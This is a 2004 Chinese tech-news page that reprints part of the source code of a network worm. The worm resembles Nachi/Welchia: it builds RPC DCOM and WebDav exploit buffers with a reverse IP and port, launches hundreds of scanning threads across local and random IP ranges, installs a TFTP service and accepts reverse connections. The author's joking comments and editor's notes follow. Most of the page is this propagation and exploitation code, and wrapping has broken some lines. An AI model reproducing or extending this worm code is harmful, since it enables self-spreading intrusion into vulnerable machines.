2023信创独角兽企业100强
全世界各行各业联合起来,internet一定要实现!

蠕虫作者现身,错把China敲成Chian

2004-02-16 eNet&Ciweek

  u_long *myPara = new u_long;

  if ( myPara == NULL ){//如果分配失败,再尝试一次

  Sleep(100);

  myPara = new u_long;

  }

  if ( myPara ){

  if ( hThread )

  CloseHandle(hThread);

  *myPara = htonl( uComp);

  DWORD dwThreadId;

  if (bWebDav)

  hThread =

  CreateThread(NULL,0,ExploitWebDavThread,(LPVOID)myPara,0,&dwThreadId);

  else

  hThread =

  CreateThread(NULL,0,ExploitRpcDcomThread,(LPVOID)myPara,0,&dwThreadId);

  Sleep(2);

  }

  //添加此处代码,避免首次执行时,线程中的

  InterlockedIncrement(&g_CurThreadCount) 未来得及运行,一次性建立了N个线程的

  bug!

  if ( bFirst && (i >= nMaxThread) ){

  Sleep(2000);

  bFirst = FALSE;

  }

  while(g_CurThreadCount >= nMaxThread) // #define nMaxThread 300 ,不小心,

  玩过了~~~

  Sleep(2);

  }

  Sleep(60000);

  }

  

  //服务模式和控制台模式公用主程序

  void DoIt()

  {

  WSADATAwsd;

  if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

  return;

  //杀蠕虫

  KillMsblast();

  //卸载

  SYSTEMTIME st;

  GetLocalTime(st);

  if ( st.wYear == 2004 ){

  MyDeleteService(szServiceName);

  MyDeleteService(szServiceTftpd);

  RemoveMe();

  ExitProcess(1); //其实不必,RemoveMe()中借用了前辈的代码,2k下,退出程序时将

  自身文件删除了

  }

  srand( GetTickCount() );

  memset(pPingBuffer, '\xAA', sizeof(pPingBuffer));

  //烦请骨干路由器立即丢弃此特征 Icmp Echo 包! 国内的什么什么波已经绝了!~~ 补

  丁已经打够了!~~~

  

  //准备WebDav发送缓冲区

  do{

  pWebDavExploitBuffer = new char[68000];

  Sleep(100);

  }while(pWebDavExploitBuffer == NULL);

  //必须在checkonlien 之前,一次装配好子弹

  PressWebDavBufferOnce();

  PressRpcDcomBufferOnce();

  CheckOnlienAndPressData(); //get LocalIp & 修正子弹中的反向ip 和 端口

  //打补丁

  DoServicePackFunction();

  //建立接收线程

  DWORD dwThreadID;

  HANDLE

  hWorkThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)RecvSendCmdThread,(L

  PVOID)NULL,0,&dwThreadID);

  if(hWorkThread==NULL) // RecvSendCmdThread 中阻塞,有反连,再建线程处理之,

  同时处理多个反连

  return;

  CloseHandle(hWorkThread);

  if ( !MyStartService(szServiceTftpd) ){

  Sleep(1000);

  InstallTftpService();

  Sleep(1000);

  MyStartService(szServiceTftpd);

  }

  Sleep(2000); //等待接收线程中的全局 rand bind port

  

  u_long ulIP;

  for(;;){ //估算了一下,普通机器2小时一循环

  

  //首先扫描本ip段

  CheckOnlienAndPressData();

  ulIP = ntohl(inet_addr(szLocalIp));

  ulIP &= 0xffff0000;

  BeginExploitFunction( ulIP, 1, 0, 0);

  

  //再扫描本ip前后3个段

  CheckOnlienAndPressData();

  if ( rand() % 2)

  ulIP += 0x00010000;

  else

  ulIP -= 0x00030000;

  BeginExploitFunction( ulIP, 3, 0, 0);

  

  //再扫描WebDav一个段,跳出 135 syn封锁

  CheckOnlienAndPressData();

  ulIP = MAKELONG(0, wdIpHead[ rand()% 76 ]); //请 wdIpHead[] B段IP商注意~~~,

  立即采取补救措施~~~ sorry~~~

  BeginExploitFunction( ulIP, 1, 0, 1);

  

  //再扫描随机的IP, 数量1个 B段, rpc or webdav

  CheckOnlienAndPressData();

  if ( rand() % 2)

  BeginExploitFunction( ulIP, 1, 1, 0);

  else

  BeginExploitFunction( ulIP, 1, 1, 1); //偶跳、跳、跳~~~

  

  KillMsblast();

  }

  //WSACleanup();

  }

  --------------------------------------------------------------------------------------------------

  为方便阅读,增加几个补充说明

  1.flashsky www.xfocus.net创始人之一,启明星辰安全专家,擅长古体诗词,7月中公开rpc漏洞利用方式源代码,公开溢出分析报告,造成全球安全领域的震动,冲击波蠕虫的主要传播技术来源于这位高手公开的技术描述。

  2.VirusBOy 懂点安全的小朋友,水平不咋地,不过你最好别招惹他,DDOS你一把也够受的。

  3.某安全公司安全专家评论,该帖子内容基本属实,蠕虫源代码已经得到确认。

  

相关频道: eNews

您对本文或本站有任何意见,请在下方提交,谢谢!

投稿信箱:tougao@enet16.com